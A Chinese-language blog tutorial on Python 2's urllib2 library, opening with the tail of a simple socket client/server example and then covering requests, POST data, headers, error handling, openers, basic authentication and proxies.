                    connection.send('welcome to server!')
                else:
                    connection.send('please go out!')
            except socket.timeout:
                print 'time out'
            connection.close()



client.py



    if __name__ == '__main__':
        import socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('localhost', 8001))
        import time
        time.sleep(2)
        sock.send('1')
        print sock.recv(1024)
        sock.close()



在终端运行server.py，然后运行clien.py，会在终端打印“welcome to
server!"。如果更改client.py的sock.send('1')为其它值在终端会打印”please go
out!“，更改time.sleep(2)为大于5的数值， 服务器将会超时。

python urllib2详解及实例

2018-01-01T00:00:00+08:00

# python urllib2详解及实例

urllib2是Python的一个获取URLs(Uniform Resource Locators)的组件。他以urlopen函数的形式提供了一个非常简单的
接口，这是具有利用不同协议获取URLs的能力，他同样提供了一个比较复杂的接口来处理一般情况，例如：基础验证，cookies,代理和其他。它们通过handle
rs和openers的对象提供。

urllib2支持获取不同格式的URLs(在URL的":"前定义的字串,例如："ftp"是"ftp:python.ort/"的前缀),它们利用它们相关网络协
议(例如FTP,HTTP)进行获取。这篇教程关注最广泛的应用--HTTP。

对于简单的应用，urlopen是非常容易使用的。但当你在打开HTTP的URLs时遇到错误或异常，你将需要一些超文本传输协议(HTTP)的理解。

最权威的HTTP文档当然是RFC 2616(http://rfc.net/rfc2616.html)。这是一个技术文档，所以并不易于阅读。这篇HOWTO教程
的目的是展现如何使用urllib2,

并提供足够的HTTP细节来帮助你理解。他并不是urllib2的文档说明，而是起一个辅助作用。

### 获取 URLs

最简单的使用urllib2

代码实例：



    import urllib2 
    response = urllib2.urlopen('http://python.org/') 
    html = response.read()

urllib2的很多应用就是那么简单(记住，除了"http:",URL同样可以使用"ftp:","file:"等等来替代)。但这篇文章是教授HTTP的更复杂
的应用。

HTTP是基于请求和应答机制的--客户端提出请求，服务端提供应答。urllib2用一个Request对象来映射你提出的HTTP请求,在它最简单的使用形式中你
将用你要请求的地址创建一个Request对象，通过调用urlopen并传入Request对象，将返回一个相关请求response对象，这个应答对象如同一个文
件对象，所以你可以在Response中调用.read()。



    import urllib2 
    req = urllib2.Request('http://www.pythontab.com') 
    response = urllib2.urlopen(req) 
    the_page = response.read()

记得urllib2使用相同的接口处理所有的URL头。例如你可以像下面那样创建一个ftp请求。

req = urllib2.Request('ftp://example.com/')

在HTTP请求时，允许你做额外的两件事。首先是你能够发送data表单数据，其次你能够传送额外的关于数据或发送本身的信息("metadata")到服务器，此数
据作为HTTP的"headers"来发送。

接下来让我们看看这些如何发送的吧。

### Data数据

有时候你希望发送一些数据到URL(通常URL与CGI[通用网关接口]脚本，或其他WEB应用程序挂接)。在HTTP中,这个经常使用熟知的POST请求发送。这个
通常在你提交一个HTML表单时由你的浏览器来做。

并不是所有的POSTs都来源于表单，你能够使用POST提交任意的数据到你自己的程序。一般的HTML表单，data需要编码成标准形式。然后做为data参数传到
Request对象。编码工作使用urllib的函数而非urllib2。

代码实例：



    import urllib 
    import urllib2 
    url = 'http://www.pythontab.com' 
    values = {'name' : 'Michael Foord', 
              'location' : 'pythontab', 
              'language' : 'Python' } 
    data = urllib.urlencode(values) 
    req = urllib2.Request(url, data) 
    response = urllib2.urlopen(req) 
    the_page = response.read()

记住有时需要别的编码(例如从HTML上传文件--看http://www.w3.org/TR/REC-
html40/interact/forms.html#h-17.13 HTML Specification, Form Submission的详细说明)。

如ugoni没有传送data参数，urllib2使用GET方式的请求。GET和POST请求的不同之处是POST请求通常有"副作用"，它们会由于某种途径改变系
统状态(例如提交成堆垃圾到你的门口)。

尽管HTTP标准说的很清楚POSTs通常会产生副作用，GET请求不会产生副作用，但没有什么可以阻止GET请求产生副作用，同样POST请求也可能不产生副作用。
Data同样可以通过在Get请求的URL本身上面编码来传送。

代码实例：



    >>> import urllib2 
    >>> import urllib 
    >>> data = {} 
    >>> data['name'] = 'Somebody Here' 
    >>> data['location'] = 'pythontab' 
    >>> data['language'] = 'Python' 
    >>> url_values = urllib.urlencode(data) 
    >>> print url_values 
    name=blueelwang+Here&language=Python&location=pythontab 
    >>> url = 'http://www.pythontab.com' 
    >>> full_url = url + '?' + url_values 
    >>> data = urllib2.open(full_url)

### Headers

我们将在这里讨论特定的HTTP头，来说明怎样添加headers到你的HTTP请求。

有一些站点不喜欢被程序（非人为访问）访问，或者发送不同版本的内容到不同的浏览器。默认的urllib2把自己作为“Python-
urllib/x.y”(x和y是Python主版本和次版本号,例如Python-urllib/2.5)，这个身份可能会让站点迷惑，或者干脆不工作
。浏览器确认自己身份是通过User-Agent头，当你创建了一个请求对象，你可以给他一个包含头数据的字典。下面的例子发送跟上面一样的内容，但把自身

模拟成Internet Explorer。



    import urllib 
    import urllib2 
    url = 'http://www.pythontab.com' 
    user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' 
     
    values = {'name' : 'Michael Foord', 
              'location' : 'pythontab', 
              'language' : 'Python' } 
    headers = { 'User-Agent' : user_agent } 
    data = urllib.urlencode(values) 
    req = urllib2.Request(url, data, headers) 
    response = urllib2.urlopen(req) 
    the_page = response.read()

response应答对象同样有两个很有用的方法。看下面的节info and geturl，我们将看到当发生错误时会发生什么。

### Handle Exceptions处理异常

当urlopen不能够处理一个response时，产生urlError（不过通常的Python
APIs异常如ValueError,TypeError等也会同时产生）。

HTTPError是urlError的子类，通常在特定HTTP URLs中产生。

### URLError

通常，URLError在没有网络连接(没有路由到特定服务器),或者服务器不存在的情况下产生。这种情况下，异常同样会带有"reason"属性，它是一个tupl
e，包含了一个错误号和一个错误信息。

例如



    >>> req = urllib2.Request('http://www.pythontab.com') 
    >>> try: urllib2.urlopen(req) 
    >>> except URLError, e: 
    >>>    print e.reason 
    >>>

(4, 'getaddrinfo failed')

### HTTPError

服务器上每一个HTTP 应答对象response包含一个数字"状态码"。有时状态码指出服务器无法完成请求。默认的处理器会为你处理一部分这种应答(例如:假如r
esponse是一个"重定向"，需要客户端从别的地址获取文档，urllib2将为你处理)。其他不能处理的，urlopen会产生一个HTTPError。典型的
错误包含"404"(页面无法找到)，"403"(请求禁止)，和"401"(带验证请求)。

请看RFC 2616 第十节有所有的HTTP错误码

HTTPError实例产生后会有一个整型'code'属性，是服务器发送的相关错误号。

### Error Codes错误码

因为默认的处理器处理了重定向(300以外号码)，并且100-299范围的号码指示成功，所以你只能看到400-599的错误号码。

BaseHTTPServer.BaseHTTPRequestHandler.response是一个很有用的应答号码字典，显示了RFC
2616使用的所有的应答号。这里为了方便重新展示该字典。

当一个错误号产生后，服务器返回一个HTTP错误号，和一个错误页面。你可以使用HTTPError实例作为页面返回的应答对象response。这表示和错误属性一
样，它同样包含了read,geturl,和info方法。



    >>> req = urllib2.Request('http://www.python.org/fish.html') 
    >>> try: 
    >>>     urllib2.urlopen(req) 
    >>> except URLError, e: 
    >>>     print e.code 
    >>>     print e.read() 
    >>>


    404 
     
     Error 404: File Not Found 
    ...... etc...

### Wrapping it Up包装

所以如果你想为HTTPError或URLError做准备，将有两个基本的办法。我则比较喜欢第二种。

第一个：



    from urllib2 import Request, urlopen, URLError, HTTPError 
    req = Request(someurl) 
    try: 
        response = urlopen(req) 
    except HTTPError, e: 
        print 'The server couldn/'t fulfill the request.' 
        print 'Error code: ', e.code 
    except URLError, e: 
        print 'We failed to reach a server.' 
        print 'Reason: ', e.reason 
    else: 
        # everything is fine

注意：except HTTPError 必须在第一个，否则except URLError将同样接受到HTTPError。

第二个：



    from urllib2 import Request, urlopen, URLError 
    req = Request(someurl) 
    try: 
        response = urlopen(req) 
    except URLError, e: 
        if hasattr(e, 'reason'): 
            print 'We failed to reach a server.' 
            print 'Reason: ', e.reason 
        elif hasattr(e, 'code'): 
            print 'The server couldn/'t fulfill the request.' 
            print 'Error code: ', e.code 
    else: 
        # everything is fine

### info and geturl

urlopen返回的应答对象response(或者HTTPError实例)有两个很有用的方法info()和geturl()

geturl -- 这个返回获取的真实的URL，这个很有用，因为urlopen(或者opener对象使用的)或许

会有重定向。获取的URL或许跟请求URL不同。

info -- 这个返回对象的字典对象，该字典描述了获取的页面情况。通常是服务器发送的特定头headers。目前是httplib.HTTPMessage
实例。

经典的headers包含"Content-length"，"Content-type"，和其他。查看Quick Reference to HTTP
Headers(http://www.cs.tut.fi/~jkorpela/http.html)获取有用的HTTP头列表，以及它们的解释意义。

### Openers和Handlers

当你获取一个URL你使用一个opener(一个urllib2.OpenerDirector的实例，urllib2.OpenerDirector可能名字可能有
点让人混淆。)正常情况下，我们使用默认opener -- 通过urlopen,但你能够创建个性的openers，Openers使用处理器handlers，所
有的“繁重”工作由handlers处理。每个handlers知道如何通过特定协议打开URLs，或者如何处理URL打开时的各个方面，例如HTTP重定向或者HT
TP cookies。

如果你希望用特定处理器获取URLs你会想创建一个openers，例如获取一个能处理cookie的opener，或者获取一个不重定向的opener。

要创建一个 opener,实例化一个OpenerDirector，然后调用不断调用.add_handler(some_handler_instance).

同样，可以使用build_opener，这是一个更加方便的函数，用来创建opener对象，他只需要一次函数调用。

build_opener默认添加几个处理器，但提供快捷的方法来添加或更新默认处理器。

其他的处理器handlers你或许会希望处理代理，验证，和其他常用但有点特殊的情况。

install_opener 用来创建（全局）默认opener。这个表示调用urlopen将使用你安装的opener。

Opener对象有一个open方法，该方法可以像urlopen函数那样直接用来获取urls：通常不必调用install_opener，除了为了方便。

### Basic Authentication 基本验证

为了展示创建和安装一个handler，我们将使用HTTPBasicAuthHandler，为了更加细节的描述本主题--包含一个基础验证的工作原理。

请看Basic Authentication
Tutorial（http://www.voidspace.org.uk/python/articles/authentication.shtml）

当需要基础验证时，服务器发送一个header(401错误码) 请求验证。这个指定了scheme 和一个‘realm’，看起来像这样：Www-
authenticate: SCHEME realm="REALM".

例如

Www-authenticate: Basic realm="cPanel Users"

客户端必须使用新的请求，并在请求头里包含正确的姓名和密码。这是“基础验证”，为了简化这个过程，我们可以创建一个HTTPBasicAuthHandler的实例
，并让opener使用这个handler。

HTTPBasicAuthHandler使用一个密码管理的对象来处理URLs和realms来映射用户名和密码。如果你知道realm(从服务器发送来的头里)是
什么，你就能使用HTTPPasswordMgr。

通常人们不关心realm是什么。那样的话，就能用方便的HTTPPasswordMgrWithDefaultRealm。这个将在你为URL指定一个默认的用户名
和密码。这将在你为特定realm提供一个其他组合时得到提供。我们通过给realm参数指定None提供给add_password来指示这种情况。

最高层次的URL是第一个要求验证的URL。你传给.add_password()更深层次的URLs将同样合适。



    # 创建一个密码管理者 
    password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() 
    # 添加用户名和密码 
    # 如果知道 realm, 我们可以使用他代替 ``None``. 
    top_level_url = "http://example.com/foo/" 
    password_mgr.add_password(None, top_level_url, username, password) 
    handler = urllib2.HTTPBasicAuthHandler(password_mgr) 
    # 创建 "opener" (OpenerDirector 实例) 
    opener = urllib2.build_opener(handler) 
    # 使用 opener 获取一个URL 
    opener.open(a_url) 
    # 安装 opener. 
    # 现在所有调用 urllib2.urlopen 将用我们的 opener. 
    urllib2.install_opener(opener)

注意：以上的例子我们仅仅提供我们的HHTPBasicAuthHandler给build_opener。默认的openers有正常状况的handlers--
ProxyHandler,UnknownHandler,HTTPHandler,HTTPDefaultErrorHandler,
HTTPRedirectHandler, FTPHandler, FileHandler, HTTPErrorProcessor。

top_level_url 实际上可以是完整URL(包含"http:",以及主机名及可选的端口号)例如：http://example.com/，也可以是一个
“authority”(即主机名和可选的包含端口号)例如：“example.com” or “example.com:8080”(后者包含了端口号)。权限验
证，如果递交的话不能包含"用户信息"部分,例如:“joe@password:example.com”是错误的。

Proxies代理urllib 将自动监测你的代理设置并使用他们。这个通过ProxyHandler这个在正常处理器链中的对象来处理。通常，那工作的很好。但有
时不起作用。其中一个方法便是安装我们自己的代理处理器ProxyHandler，并不定义代理。这个跟使用Basic Authentication
处理器很相似。



    >>> proxy_support = urllib.request.ProxyHandler({}) 
    >>> opener = urllib.request.build_opener(proxy_support) 
    >>> urllib.request.install_opener(opener)

注意：

此时urllib.request不支持通过代理获取https地址。但，这个可以通过扩展urllib.request达到目的。

### Sockets and Layers

Python支持获取网络资源是分层结构。urllib 使用http.client库，再调用socket库实现。

在Python2.3你可以指定socket的等待回应超时时间。这个在需要获取网页的应用程序里很有用。默认的socket模型没有超时和挂起。现在，socket
超时没有暴露给http.client或者urllib.request层。但你可以给所有的sockets设置全局的超时。